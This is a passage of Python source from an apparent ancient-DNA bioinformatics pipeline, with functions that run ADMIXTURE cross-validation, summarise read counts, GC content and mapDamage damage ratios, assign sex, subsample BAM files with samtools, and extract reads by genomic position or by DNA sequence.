cross-validation errors for \" + i + \" for K interval of \" + str(range_of_k_low) + \"-\" + str(\n                range_of_k_high) + \"\\n\")\n        for s in range(range_of_k_low, range_of_k_high + 1):\n            try:\n                cv_out.write(i + \">>K=\" + str(s) + \"\\t\" + probs_list[i + \">>K=\" + str(s)] + \"\\n\")\n            except KeyError:\n                cv_out.write(\"No CV file for K=\" + str(s) + \" found for \" + i + \".\" + \"\\n\")\n        cv_out.write(\"\\n\")\n\n    cv_out.close()\n    ## Can add in the future lines to automatically do the R plotting, but not for now\n\n\ndef admix2(range_of_k_low, range_of_k_high, multithread_cores, input_file=\"Laz16ALLPolarizeEIG1200KAutosomesOrdered\"):\n    \"\"\"\n    Estimates ancestry in a model-based manner from large autossomal SNP datasets, using software ADMIXTURE.\n    K-value must be specified. If one value only, cross-validation is automatically disabled.\n\n    Input:\n    Foo.bed\n    (Foo.bim)\n    (Foo.fam)\n\n\n    Output:\n    Foo.ancestry2.txt\n    Foo.2.Q\n    Foo.2.P\n\n    :param range_of_k_low:\n    (int)   Integer lower range value for K.\n\n    :param range_of_k_high:\n    (int)   Integer upper range value for K.\n\n    :param reorder:\n    (boolean)   FALSE if reordering of the individual to the end of the file is not wanted.\n    (string)    Path to the text file containing the order of the individuals.\n    \"\"\"\n    os.chdir(originalWD)\n    cwd = os.getcwd()\n    print(\"\\n< ADMIXTURE - Estimate ancestry >\")\n    fout.write(\"\\n< ADMIXTURE - Estimate ancestry >\")\n\n    ## Run ADMIXTURE software for all K-values in provided range\n    print(\"\\t> Running ADMIXTURE for \" + input_file + \" with k-interval of \" + str(range_of_k_low) + \"-\" + str(\n        range_of_k_high))\n    fout.write(\"\\n\\n\\t> Running ADMIXTURE for \" + input_file + \" with k-interval of \" + str(range_of_k_low) + \"-\" + str(\n        range_of_k_high))\n\n    for s in range(range_of_k_low, range_of_k_high + 1):\n        print(\"admixture --cv \" + input_file + \".bed \" + str(s) + \" -j\" + str(multithread_cores) + \" > \" + input_file + \"_cv\" + str(s) + \".txt\")\n        os.system(\"admixture --cv \" + input_file + \".bed \" + str(s) + \" -j\" + str(multithread_cores) + \" > \" + input_file + \"_cv\" + str(s) + \".txt\")\n        fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"admixture --cv \" + input_file + \".bed \" + str(s) + \" -j\" + str(multithread_cores) + \" > \" + input_file + \"_cv\" + str(s) + \".txt\")\n\n    ## Open CV text files and scavenge K probability values\n    print(\"\\n\\t> Collecting cross-validation error probabilities into 'Admix_CV.txt'\")\n    fout.write(\"\\n\\n\\t> Collecting cross-validation error probabilities into 'Admix_CV.txt'\")\n    probs_list = {}\n    samples_list2 = []\n    for i in os.listdir(cwd):\n        for s in range(range_of_k_low, range_of_k_high + 1):\n            if \"_cv\" + str(s) + \".txt\" in i:\n                cv_file = open(i, \"r\")\n                sample_id, sep, rest = i.partition(\"_cv\")\n                all_lines = cv_file.readlines()\n                CV_line = [s for s in all_lines if \"CV error (K=\" in s]\n                CV_line = CV_line[0].rstrip()\n                sep, Kvalue, prob = re.split(\"CV error |: \", str(CV_line))\n                Kvalue = Kvalue.strip(\"(\")\n                Kvalue = Kvalue.strip(\")\")\n                probs_list[sample_id + \">>\" + Kvalue] = prob\n                if sample_id not in samples_list2:\n                    samples_list2.append(sample_id)\n\n    cv_out = open(\"Admix_CV\" + \".txt\", \"w\")\n    for i in samples_list2:\n        cv_out.write(\n            \"ADMIXTURE cross-validation errors for \" + i + \" for K interval of \" + str(range_of_k_low) + \"-\" + str(\n                range_of_k_high) + \"\\n\")\n        for s in range(range_of_k_low, range_of_k_high + 1):\n            try:\n                cv_out.write(i + \">>K=\" + str(s) + \"\\t\" + probs_list[i + \">>K=\" + str(s)] + \"\\n\")\n            except KeyError:\n                cv_out.write(\"No CV file for K=\" + str(s) + \" found for \" + i + \".\" + \"\\n\")\n        cv_out.write(\"\\n\")\n\n    cv_out.close()\n    ## Can add in the future lines to automatically do the R plotting, but not for now\n\n\ndef admix3(k_num, reps, multithread_cores, input_file):\n    \"\"\"\n    Estimates ancestry in a model-based manner from large autossomal SNP datasets, using software ADMIXTURE.\n\n    \"\"\"\n    os.chdir(originalWD)\n    cwd = os.getcwd()\n    print(\"\\n< ADMIXTURE - Estimate ancestry >\")\n    fout.write(\"\\n< ADMIXTURE - Estimate ancestry >\")\n\n    ## Run ADMIXTURE software for all K-values in provided range\n    print(\"\\t> Running \", str(reps), \" repetitions of ADMIXTURE for \" + input_file + \" with k of \" + str(k_num))\n    fout.write(\"\\n\\n\\t> Running \" + str(reps) + \" repetitions of ADMIXTURE for \" + input_file + \" with k of \" + str(k_num))\n\n    for s in list(range(1, reps + 1)):\n        print(\"admixture --cv \" + input_file + \".bed \" + str(k_num) + \" -j\" + str(multithread_cores) + \" -s time > \" + input_file + \"_cv\" + str(k_num) + \"_\" + str(s) + \".txt\")\n        os.system(\"admixture --cv \" + input_file + \".bed \" + str(k_num) + \" -j\" + str(multithread_cores) + \" -s time > \" + input_file + \"_cv\" + str(k_num) + \"_\" + str(s) + \".txt\")\n        fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"admixture --cv \" + input_file + \".bed \" + str(k_num) + \" -j\" + str(multithread_cores) + \" -s time > \" + input_file + \"_cv\" + str(k_num) + \"_\" + str(s) + \".txt\")\n        os.rename(input_file + \".\" + str(k_num) + \".Q\", input_file + \".\" + str(k_num) + \".r\" + str(s) + \".Q\")\n        os.rename(input_file + \".\" + str(k_num) + \".P\", input_file + \".\" + str(k_num) + \".r\" + str(s) + \".P\")\n\n\ndef end_analysis():\n    \"\"\"\n    Outputs a tabbed file with sample name,number of total, trimmed and aligned reads, % of endogenous DNA, GC contents, mapDamage ratios and sex assessment.\n\n    Input:\n    *various_files*\n\n    Output:\n    Reads_Summary.txt\n\n    \"\"\"\n    with open(\"Reads_Summary.txt\", 'w') as foutr:\n        os.chdir(originalWD)\n        cwd = os.getcwd()\n        list_samples = []\n        print(\"\\n< SUMMARY - Generating *.txt tabbed file with summary >\")\n        foutr.write(\n            \"Sample\\tTotal_reads\\t%GC\\tTrimmed_reads\\tAligned_reads\\t%Endogenous\\tUnique_Reads\\t%Endogenous_Unique\\t%GC\\tMapDamage\\tSex\\t\\n\")\n        # foutr.write(\"Sample\\tTotal reads\\tTrimmed reads\\tAligned reads\\t%End\\t%GC\\tAfter rmdup\\t%Unique\\t%GC\\tMapDamage\\tSex\\t\\n\")\n        fout.write(\"\\n< SUMMARY - Generating *.txt tabbed file with summary >\")\n        warnings = []\n        # for i in os.listdir(cwd):\n        #     if 'fastq.gz' in i:\n        #         sample_idd, sep, rest = i.partition('_L001')\n        #         if sample_idd[-2:].isdigit() == True:\n        #             sample_true_id = sample_idd[:-4]\n        #         else:\n        #             sample_true_id = sample_idd[:-3]\n        #         list_samples.append(sample_true_id)\n\n        for i in os.listdir(cwd):\n            if '.trimmed.log' in i:\n                sample_idd, sep, rest = i.partition('%')\n            #if '.q30.bam' in i:\n            #    sample_idd, sep, rest = i.partition('.q30.')\n                list_samples.append(sample_idd)\n                # list_samples.append(sample_true_id)\n\n        for sample in list_samples:\n            print(\"\\n\\t> Compiling data for sample \" + sample)\n            fout.write(\"\\n\\t> Compiling data for sample \" + sample + \"\\n\")\n            samenametrimmedlog = 0\n            warningslogfiles = []\n            ## Processed and trimmed reads\n            if any(\"trimmed.log\" in i and sample in i for i in os.listdir(cwd)):\n                for i in os.listdir(cwd):\n\n                    if \"trimmed.log\" in i and sample in i:\n                        sample_true, sep, rest = i.rpartition(\"%\")\n                        samenametrimmedlog += 1\n                        if sample_true == sample:\n                            if os.path.exists(cwd + \"/\" + i):\n                                with open(i, 'r') as fin:\n                                    ## Processed reads\n                                    for line in fin:\n                                        # print(line)\n                                        if \"Total reads processed:\" in line:\n                                            text = line.split()\n                                            ba = text[3]\n                                            ba = ba.replace(',', '')\n                                            # a = fin.readline()\n                                            # a = fin.readline()\n                                            # a = fin.readline()\n                                            # a = fin.readline()\n                                            # a = fin.readline()\n                                            # ba = a[21:].strip()\n                                            # print(ba)\n                                            # print(\"Processed reads: \"+ba)\n                                            ## Trimmed reads\n                                        if \"Reads with adapters:\" in line:\n                                            # a = fin.readline()\n                                            # a = fin.readline()\n                                            # ca = line[21:32].strip()\n                                            # print(line)\n                                            text = line.split()\n                                            ca = text[3]\n                                            ca = ca.replace(',', '')\n                                            # print(\"Trimmed reads: \"+ca)\n                        else:\n                            warningslogfiles.append(\n                                sample + \" - No *.trimmed.log file for \" + sample + \" > No 'Processed reads' & 'Trimmed reads'\")\n                            ba = \"N/A\"\n                            ca = \"N/A\"\n                            pass\n\n                if samenametrimmedlog <= len(warningslogfiles):\n                    print(\n                        \"\\t> WARNING: No *.trimmed.log file for \" + sample + \" in '\" + cwd + \"'. 'Processed reads' & 'Trimmed reads' can not be retrieved.\")\n                    warnings.append(\n                        sample + \" - No *.trimmed.log file for \" + sample + \" > No 'Processed reads' & 'Trimmed reads'\")\n                else:\n                    pass\n            else:\n                print(\n                    \"\\t> WARNING: No *.trimmed.log file for \" + sample + \" in '\" + cwd + \"'. 'Processed reads' & 'Trimmed reads' can not be retrieved.\")\n                warnings.append(\n                    sample + \" - No *.trimmed.log file for \" + sample + \" > No 'Processed reads' & 'Trimmed reads'\")\n                ba = \"N/A\"\n                ca = \"N/A\"\n\n            ## Aligned reads\n            if any(\"sort_fastqc.html\" in i and sample in i for i in os.listdir(cwd)):\n                for i in os.listdir(cwd):\n                    if \"sort_fastqc.html\" in i and sample in i:\n                        with open(i, 'r') as fin6:\n                            ## Aligned reads\n                            for line in fin6:\n                                if \"Total Sequences</td><td>\" in line:\n                                    # text = line.split()\n                                    # print(line.find(\"Total Sequences</td><td>\"))\n                                    text = (line[line.find(\"Total Sequences</td><td>\"):line.find(\n                                        \"Total Sequences</td><td>\") + 26 + 60])\n                                    # print(text)\n                                    # print(text.split(\"</td><td>\"))\n                                    reads = text.split(\"</td><td>\")[1].split(\"</td></tr><tr><td>\")[0]\n                                    reads = reads.replace(',', '')\n                                    # ba = text[3]\n            else:\n                print(\"\\t> WARNING: No FASTQC *.sort file in '\" + cwd + \"'. 'Aligned reads' can not be calculated.\")\n                warnings.append(sample + \" - No FASTQC *.sort file for \" + sample + \" > No 'aligned reads'\")\n                reads = \"N/A\"\n                pass\n\n            ## Reads after duplicates removal and GC content\n            if any(\"rmdup_fastqc.html\" in i and sample in i for i in os.listdir(cwd)):\n                for i in os.listdir(cwd):\n                    if \"rmdup_fastqc.html\" in i and sample in i:\n                        with open(i, 'r') as fin3:\n                            ## Reads after rmdup\n                            for line in fin3:\n                                if \"Total Sequences</td><td>\" in line:\n                                    text = (line[line.find(\"Total Sequences</td><td>\"):line.find(\n                                        \"Total Sequences</td><td>\") + 26 + 60])\n                                    # print(text)\n                                    # print(text.split(\"</td><td>\"))\n                                    rmdpreads = text.split(\"</td><td>\")[1].split(\"</td></tr><tr><td>\")[0]\n                                    rmdpreads = rmdpreads.replace(',', '')\n                                    text2 = (line[line.find(\"%GC</td><td>\"):line.find(\"%GC</td><td>\") + 13 + 60])\n                                    gc_cont_rmdup = text2.split(\"</td><td>\")[1].split(\"</td></tr>\")[0]\n            else:\n                print(\"\\t> WARNING: No FASTQC *.rmdup file in '\" + cwd + \"'. 'Unique reads' can not be calculated.\")\n                warnings.append(sample + \" - No FASTQC *.rmdup file for \" + sample + \" > No 'unique reads'\")\n                rmdpreads = \"N/A\"\n                gc_cont_rmdup = \"N/A\"\n                pass\n\n            # ## Initial GC content\n            if any(\"_fastqc.html\" in i and sample in i and \"sort\" not in i and \"rmdup\" not in i for i in\n                   os.listdir(cwd)):\n                for i in os.listdir(cwd):\n                    if \"_fastqc.html\" in i and sample in i and \"sort\" not in i and \"rmdup\" not in i:\n                        with open(i, 'r') as fin4:\n                            for line in fin4:\n                                # print(line)\n                                if \"Total Sequences</td><td>\" in line:\n                                    # print(text)\n                                    # print(text.split(\"</td><td>\"))\n                                    text2 = (line[line.find(\"%GC</td><td>\"):line.find(\"%GC</td><td>\") + 13 + 60])\n                                    gc_cont = text2.split(\"</td><td>\")[1].split(\"</td></tr>\")[0]\n                                    # print(\"Initial GC cont: \"+gc_cont)\n            else:\n                print(\n                    \"\\t> WARNING: No FASTQC initial file in '\" + cwd + \"'. 'Initial GC content' can not be retrieved.\")\n                warnings.append(sample + \" - No FASTQC initial file for \" + sample + \" > No 'Initial GC content'\")\n                gc_cont = \"N/A\"\n                pass\n\n            ## Endogenous contents by total reads\n            if reads != \"N/A\" and ba != \"N/A\" and rmdpreads != \"N/A\":\n                # if reads != \"N/A\" and ca != \"N/A\" and rmdpreads != \"N/A\":\n                perc_end = (int(reads) / int(ba)) * 100\n                # print(\"% End:\",\"%.2f\" % perc_end)\n\n                perc_uni = (int(rmdpreads) / int(ba)) * 100\n                # print(\"% Unique:\",\"%.2f\" % perc_uni)\n            else:\n                perc_end = \"N/A\"\n                perc_uni = \"N/A\"\n                # print(\"% End: N/A\\n% Unique: N/A\")\n\n            ## Mapdamage 5' C>T and 3' G>A ratios\n            if os.path.exists(cwd + \"/mapdamage/mapdamage_\" + sample):\n                file10 = cwd + \"/mapdamage/mapdamage_\" + sample + \"/5pCtoT_freq.txt\"\n                with open(file10, 'r') as fin10:\n                    positions = [1]\n                    fin10.readline()\n                    for line in fin10:\n                        position, sep, freq = line.partition(\"\\t\")\n                        freq = freq.strip(\"\\n\")\n                        positions.append(freq)\n                    if positions[1] > positions[2] > positions[3] and positions[1] > positions[25] and all(\n                                    x != \"0\" for x in positions):\n                        positionssm = positions[4:len(positions)]\n                        if all(i < positions[3] for i in positionssm) == True:\n                            #map5ctratio = float(positions[1]) - float(positions[25])\n                            map5ctratio = float(positions[1])\n                            print(\n                                \"\\t> Ancient DNA damage pattern potentially detected. 5' C>T transition differential bp1-bp25: \" + \"%.2f\" % float(\n                                    map5ctratio))\n                            fout.write(time.strftime(\n                                \"\\t%H:%M:%S %Z \") + \"\\tAncient DNA damage pattern potentially detected. 5' C>T transition differential bp1-bp25: \" + \"%.2f\" % float(\n                                map5ctratio))\n                        else:\n                            print(\"\\t> Ancient DNA damage pattern NOT found for 5' C>T. Please confirm.\")\n                            map5ctratio = \"N/A\"\n                    else:\n                        print(\"\\t> Ancient DNA damage pattern NOT found for 5' C>T. Please confirm.\")\n                        map5ctratio = \"N/A\"\n\n                file11 = cwd + \"/mapdamage/mapdamage_\" + sample + \"/3pGtoA_freq.txt\"\n                with open(file11, 'r') as fin11:\n                    positions3 = [1]\n                    fin11.readline()\n                    for line in fin11:\n                        position, sep, freq = line.partition(\"\\t\")\n                        freq = freq.strip(\"\\n\")\n                        positions3.append(freq)\n                    if positions3[1] > positions3[2] > positions3[3] and positions3[1] > positions3[25] and all(\n                                    z != \"0\" for z in positions3):\n                        positionssm3 = positions3[4:len(positions3)]\n                        if all(i < positions[3] for i in positionssm3) == True:\n                            #map3garatio = float(positions3[1]) - float(positions3[25])\n                            map3garatio = float(positions3[1])\n                            print(\n                                \"\\t> Ancient DNA damage pattern potentially detected. 3' G>A transition differential bp1-bp25: \" + \"%.2f\" % float(\n                                    map3garatio))\n                            fout.write(time.strftime(\n                                \"\\n\\t%H:%M:%S %Z \") + \"\\tAncient DNA damage pattern potentially detected. 3' G>A transition differential bp1-bp25: \" + \"%.2f\" % float(\n                                map3garatio) + \"\\n\")\n                        else:\n                            print(\"\\t> Ancient DNA damage pattern NOT found for 3' A>G. Please confirm.\")\n                            map3garatio = \"N/A\"\n                    else:\n                        print(\"\\t> Ancient DNA damage pattern NOT found for 3' A>G. Please confirm.\")\n                        map3garatio = \"N/A\"\n            else:\n                map5ctratio = \"N/A\"\n                map3garatio = \"N/A\"\n                print(\"\\t> WARNING: No mapDamage folder detected for \" + sample + \". Please confirm.\")\n                warnings.append(sample + \" - No mapDamage folder detected for \" + sample + \". Please confirm.\")\n                pass\n\n            foutr.write(sample)\n            foutr.write(\"\\t\")\n            foutr.write(ba)\n            foutr.write(\"\\t\")\n            foutr.write(gc_cont)\n            foutr.write(\"\\t\")\n            foutr.write(ca)\n            foutr.write(\"\\t\")\n            foutr.write(reads)\n            foutr.write(\"\\t\")\n            if perc_end != \"N/A\":\n                foutr.write(\"%.2f\" % perc_end)\n            else:\n                foutr.write(\"N/A\")\n            foutr.write(\"\\t\")\n            foutr.write(rmdpreads)\n            foutr.write(\"\\t\")\n            if perc_uni != \"N/A\":\n                foutr.write(\"%.2f\" % perc_uni)\n            else:\n                foutr.write(\"N/A\")\n            foutr.write(\"\\t\")\n            foutr.write(gc_cont_rmdup)\n            foutr.write(\"\\t\")\n            if map5ctratio != \"N/A\" and map3garatio != \"N/A\":\n                foutr.write(\"%.2f\" % float(map5ctratio))\n            else:\n                foutr.write(\"N/A\")\n            foutr.write(\" | \")\n            if map3garatio != \"N/A\" and map5ctratio != \"N/A\":\n                foutr.write(\"%.2f\" % float(map3garatio))\n            else:\n                foutr.write(\"N/A\")\n            foutr.write(\"\\t\")\n\n            ## Sexing (Skoglund 2014)\n            if os.path.exists(cwd + \"/sexing_\" + sample + \".txt\"):\n                sexfile = cwd + \"/sexing_\" + sample + \".txt\"\n\n                with open(sexfile, 'r') as fin5:\n                    try:\n                        if os.stat(sexfile).st_size == 0:\n                            # print(\"Sexing: File '\"+i+\"' is empty\")\n                            foutr.write(\"-\")\n                        else:\n                            s = fin5.readlines()[1]\n                            slist = s.split(\"\\t\")\n                            s = slist[6].strip(\"\\n\")\n                            ychr = slist[2].strip(\" \")\n                            yxchr = slist[1].strip(\" \")\n                            ci = slist[5].strip(\" \")\n                            if ci != \"0.0-0.0\":\n                                # print(\"Sexing: \"+s[0].capitalize()+s[1:]+\", with 95% CI:\"+ci+\" (chrY:\"+ychr+\"/\"+yxchr+\")\")\n                                foutr.write(s[0].capitalize())\n                                foutr.write(s[1:])\n                                foutr.write(\", with 95% CI:\")\n                                foutr.write(ci)\n                                foutr.write(\" (chrY:\")\n                                foutr.write(ychr)\n                                foutr.write(\"/\")\n                                foutr.write(yxchr)\n                                foutr.write(\")\")\n                                # foutr.write(\"\\n\")\n                            else:\n                                # print(\"Sexing: Inconclusive, with 95% CI:\"+ci+\", but \"+s+\" (chrY:\"+ychr+\"/\"+yxchr+\")\")\n                                foutr.write(\"Inconclusive\")\n                                foutr.write(\", with 95% CI:\")\n                                foutr.write(ci)\n                                foutr.write(\", but \")\n                                foutr.write(s)\n                                foutr.write(\" (chrY:\")\n                                foutr.write(ychr)\n                                foutr.write(\"/\")\n                                foutr.write(yxchr)\n                                foutr.write(\")\")\n                                # foutr.write(\"\\n\")\n                    except IndexError:\n                        print(\"\\t> WARNING: Incorrect sexing file for \" + sample + \". No sexual assignment.\")\n                        warnings.append(sample + \" - Incorrect sexing file for \" + sample + \". No sexual assignment.\")\n                        foutr.write(\"N/A\")\n                        pass\n\n            elif os.path.exists(cwd + \"/Sexing_stats.txt\"):\n                sexfile = cwd + \"/Sexing_stats.txt\"\n                with open(sexfile, 'r') as fin5:\n                    try:\n                        if os.stat(sexfile).st_size == 0:\n                            # print(\"Sexing: File '\"+i+\"' is empty\")\n                            foutr.write(\"-\")\n                        else:\n                            for line in fin5:\n                                if \"Based on Jones\" not in line:\n                                    # print(line)\n                                    samp, xx, xy, pv, assessxy, assess = line.split(\"\\t\")\n                                    if samp == sample:\n                                        if float(pv) <= 0.05:\n                                            foutr.write(assess.rstrip(\"\\n\") + \" with p-value of \" + pv)\n                    except IndexError:\n                        print(\"\\t> WARNING: Incorrect sexing file for \" + sample + \". No sexual assignment.\")\n                        warnings.append(sample + \" - Incorrect sexing file for \" + sample + \". No sexual assignment.\")\n                        foutr.write(\"N/A\")\n                        pass\n\n            else:\n                print(\"\\t> WARNING: No sexing file for \" + sample + \". No sexual assignment.\")\n                warnings.append(sample + \" - No sexing file for \" + sample + \". No sexual assignment.\")\n                foutr.write(\"N/A\")\n                pass\n\n            foutr.write(\"\\n\")\n\n        if len(warnings) > 0:\n            print(\"\\n\\t< WARNINGS - Please review your data >\")\n            warnings = sorted(list(set(warnings)))\n            fout.write(\"\\n\\t< WARNINGS Please review your data >\")\n            for i in warnings:\n                print(\"\\t\\t>\", i)\n\n                fout.write(\"\\n\\t\\t> \" + i)\n\n\ndef subsampling(fract, iterations, forSexing=False):  #### MAKE IT PRETTIER\n\n    cwd = os.getcwd()\n\n    for i in os.listdir(cwd):\n        if \"rmdup.bam\" in i:\n            #sampID, sep, rest = i.rpartition(\".q30\")\n            sampID, rest = re.split('\\.q..', i)\n            sep = re.findall('\\.q..', i)[0]\n            zero, sep2, fractsep = str(fract).rpartition(\".\")\n            seeds = list(range(500000))\n            #print(sep)\n            #print(seeds)\n            #print(i)\n            #print(sampID)\n            seedsrand = (random.sample(seeds, iterations))\n            #print(seedsrand)\n            it = 1\n            for ite in seedsrand:\n                print(\"samtools view -s \" + str(ite) + \".\" + str(fractsep) + \" -b \" + i + \" > \" + sampID + sep + \".rmdup.sub\" + str(it) + \".bam\")\n                os.system(\"samtools view -s \" + str(ite) + \".\" + str(fractsep) + \" -b \" + i + \" > \" + sampID + sep + \".rmdup.sub\" + str(it) + \".bam\")\n                it += 1\n\n                if forSexing == True:\n                    for file in os.listdir(cwd):\n                        if sampID + sep + \".rmdup.sub\" + str(it - 1) + \".bam\" in file:\n                            print('\\tsamtools index ' + file + ' ' + file + '.bai')\n                            os.system(r'samtools index ' + file + ' ' + file + '.bai')\n                            print(\"\\t\\t\" + r\"samtools idxstats \" + file + \" > \" + sampID + \".sub\" + str(it - 1) + \".chr.txt\\n\")\n                            os.system(r\"samtools idxstats \" + file + \" > \" + sampID + \".sub\" + str(it - 1) + \".chr.txt\")\n                            #                    fout.write(\"\\n\\t> Reading distribution of reads per chromosome from '\"+i+\"'...\"+time.strftime(\"\\n\\t%H:%M:%S %Z \")+\"\\t\"+r\"samtools idxstats \"+i+\" > \"+sample_id+\".chr.txt\\n\")\n\n                elif forSexing == False:\n                    pass\n\n\ndef extract_reads_pos(chrom, positionL, positionH, outputBam=False):\n    \"\"\"\n    Extracts reads that contain the specific genomic position or range provided. Repeat lower and higher positions input to extract a single position.\n\n    Input:\n    Foo.bam\n\n    Output:\n    Foo.2_123455-123455.bam\n\n    :param chrom:\n    (int)\n    (str)   Integer or string (for mitochondrial DNA) of the chromosome number.\n\n    :param positionL:\n    (int)   Integer of the desired contig lower 5' position.\n\n    :param positionH:\n    (int)   Integer of the desired contig higher 3' position.\n    \"\"\"\n\n    os.chdir(originalWD)\n    cwd = os.getcwd()\n    print(\"\\n< EXTRACT READS POS - Extracting reads aligning to specific genome positions >\")\n    fout.write(\"\\n< EXTRACT READS POS - Extracting reads aligning to specific genome positions >\")\n    print(\"\\t> Extracting reads containing position \" + str(chrom) + \":\" + str(positionL) + \"-\" + str(positionH))\n    fout.write(\"\\t> Extracting reads containing position \" + str(chrom) + \":\" + str(positionL) + \"-\" + str(positionH))\n\n    for i in os.listdir(cwd):\n        if \"_merged\" in i:\n            if re.search(\"_merged\\.q..\\.rmdup\\.bam$\", i) != None:\n            #if \"_merged.q30.rmdup.bam\" == i[-21:]:\n                sample_id, sep, rest = i.partition(\"_merged.\")\n                sep = re.findall('\\.q..', i)[0]\n                print(\"\\t> Extracting reads for \" + sample_id)\n                fout.write(\"\\n\\n\\t> Extracting reads for \" + sample_id)\n                print(\"\\tsamtools view -b \" + i + \" \" + \"chr\" + str(chrom) + \":\" + str(positionL) + \"-\" + str(positionH) + \" > \" + sample_id + \".filter.\" + str(chrom) + \"_\" + str(positionL) + \"-\" + str(positionH) + sep + \".rmdup.bam \")\n                os.system(\"samtools view -b \" + i + \" \" + \"chr\" + str(chrom) + \":\" + str(positionL) + \"-\" + str(positionH) + \" > \" + sample_id + \".filter.\" + str(chrom) + \"_\" + str(positionL) + \"-\" + str(positionH) + sep + \".rmdup.bam \")\n                fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"samtools view -b \" + i + \" \" + \"chr\" + str(chrom) + \":\" + str(positionL) + \"-\" + str(positionH) + \" > \" + sample_id + \".filter.\" + str(chrom) + \"_\" + str(positionL) + \"-\" + str(positionH) + sep + \".rmdup.bam \")\n            else:\n                pass\n        elif re.search(\"\\.q..\\.rmdup\\.bam$\", i) != None and \"merge\" not in i:\n            #sample_id, sep, rest = i.partition(\".q30\")\n            sample_id, rest = re.split('\\.q..', i)\n            sep = re.findall('\\.q..', i)[0]\n            print(\"\\t> Extracting reads for \" + sample_id)\n            fout.write(\"\\n\\n\\t> Extracting reads for \" + sample_id)\n            print(\"\\tsamtools view -b \" + i + \" \" + \"chr\" + str(chrom) + \":\" + str(positionL) + \"-\" + str(positionH) + \" > \" + sample_id + \".filter.\" + str(chrom) + \"_\" + str(positionL) + \"-\" + str(positionH) + sep + \".rmdup.bam \")\n            os.system(\"samtools view -b \" + i + \" \" + \"chr\" + str(chrom) + \":\" + str(positionL) + \"-\" + str(positionH) + \" > \" + sample_id + \".filter.\" + str(chrom) + \"_\" + str(positionL) + \"-\" + str(positionH) + sep + \".rmdup.bam \")\n            fout.write(time.strftime(\"\\n\\t%H:%M:%S %Z \") + \"\\t\" + \"samtools view -b \" + i + \" \" + \"chr\" + str(chrom) + \":\" + str(positionL) + \"-\" + str(positionH) + \" > \" + sample_id + \".filter.\" + str(chrom) + \"_\" + str(positionL) + \"-\" + str(positionH) + sep + \".rmdup.bam \")\n\n\ndef extract_reads_seq(sequ, thres, mismatchBP, oneFile=False):\n    \"\"\"\n    Extracts reads that contain the specific nucleotide sequence provided.\n    NOTE: Needs \"regex\" module (pypi.python.org/pypi/regex/).\n\n    Input:\n    Foo.fastq\n\n    Output:\n    aaaaaaaaaaaaa\n\n    :param sequ:\n    (str)   String with DNA sequence to search for.\n\n    :param oneFile:\n    (boolean)\n    (str)   String with name of single file to check. Checks all files in folder if \"False\".\n\n    :param thres:\n    (int)   Integer with minimum match threshold (as fraction).\n    \"\"\"\n\n    os.chdir(originalWD)\n    cwd = os.getcwd()\n    print(\"\\n< EXTRACT READS SEQ - Extracting reads containing specific sequence >\")\n    fout.write(\"\\n< EXTRACT READS SEQ - Extracting reads containing specific sequence >\")\n    print(\"\\t> Extracting reads containing sequence \" + str(sequ))\n    fout.write(\"\\n\\t> Extracting reads containing sequence \" + str(sequ))\n    print(\"\\t> Minimum match threshold: \" + str(thres))\n    fout.write(\"\\n\\t> Minimum match threshold: \" + str(thres))\n    print(\"\\t> Allowed base-pair mismatches: \" + str(mismatchBP))\n    fout.write(\"\\n\\t> Allowed base-pair mismatches: \" + str(mismatchBP))\n    counthits = 0\n    countPartialHits = 0\n    counter = 1\n    lineCounter = 1\n\n    ## Defines a function that returns all the possible sequences of letters in a given string\n    def substr(string):\n        j = 1\n        a = set()\n        while True:\n            for i in range(len(string) - j + 1):\n                a.add(string[i:i + j])\n            if j == len(string):\n                break\n            j += 1\n        return a\n\n    ## Creates lists of possible substrings of the provided DNA sequence for the 5' and 3' end based on the mininum match threshold\n    ## For sequence 'ATCTAGCGGATG' it will create the following lists with a 0.5 threshold:\n    ## 5' - 'ATCTAGCGGATG','ATCTAGCGGAT','ATCTAGCGGA','ATCTAGCGG','ATCTAGCG','ATCTAGC','ATCTAG'\n    ## 3' - 'ATCTAGCGGATG','TCTAGCGGATG','CTAGCGGATG','TAGCGGATG','AGCGGATG','GCGGATG','CGGATG'\n    permuts = list(substr(sequ))\n    permutsThres5 = list()\n    permutsThres3 = list()\n    minLen = int(len(sequ) * thres)\n    for i in permuts:\n        if sequ[0:minLen] in i and len(i) >= minLen:\n            permutsThres5.append(i)\n    for i in permuts:\n        if sequ[minLen:] in i and len(i) >= minLen:\n            permutsThres3.append(i)\n\n    ## Goes through each read of given file\n    if oneFile != False:\n        print(\"\\t> Searching sequence in file \" + oneFile)\n        fout.write(\"\\n\\t> Searching sequence in file \" + oneFile)\n        fastqin = open(oneFile, 'r')\n        fastqlines = fastqin.readlines()\n        fastqout = list()\n        # print(len(fastqlines))\n        for line in fastqlines:\n            if line[0] == \"@\":\n                # print(\"----------------------------\")\n                # print(\"Counter: \",counter)\n                # print(\"Line: \", line)\n                # print(\"FastqLine[5]: \"+fastqlines[5])\n                # print(\"Fastqline:\", fastqlines[counter-1])\n                # print(\"Fastqline+1:\", fastqlines[counter])\n                # print(\"Fastqline+2:\", fastqlines[counter+1])\n                # counter +=4\n                #                print(counter)\n                #                print(round(len(fastqlines)*0.01-4))\n                #                 print(lineCounter)\n                #                 print(counter)\n                #                 print(round((len(fastqlines)/4)*0.2))\n                if lineCounter == round((len(fastqlines) / 4) * 0.2):\n                    print(\"\\t\\tLines processed: \" + str(counter) + \" of \" + str(len(fastqlines)) + \" (20%)\")\n                if lineCounter == round((len(fastqlines) / 4) * 0.4):\n                    print(\"\\t\\tLines processed: \" + str(counter) + \" of \" + str(len(fastqlines)) + \" (40%)\")\n                if lineCounter == round((len(fastqlines) / 4) * 0.6):\n                    print(\"\\t\\tLines processed: \" + str(counter) + \" of \" + str(len(fastqlines)) + \" (60%)\")\n                if lineCounter == round((len(fastqlines) / 4) * 0.8):\n                    print(\"\\t\\tLines processed: \" + str(counter) + \" of \" + str(len(fastqlines)) + \" (80%)\")\n                lineCounter += 1\n                inLineCounter = 0\n                inLinePartialCounter = 0\n                if counter <= len(fastqlines):\n                    ja = regex.findall(\"(\" + sequ + \"){e<=\" + str(mismatchBP) + \"}\", fastqlines[counter])\n                    if len(ja) != 0:\n                        # print(ja[0])\n                        inLineCounter += 1\n                        # input(\"Found COMPLETE\")\n\n                    if inLineCounter == 0:\n                        for i5 in permutsThres5:\n                            lengto = int(len(i5)) + 1\n                            # print(\"i5: 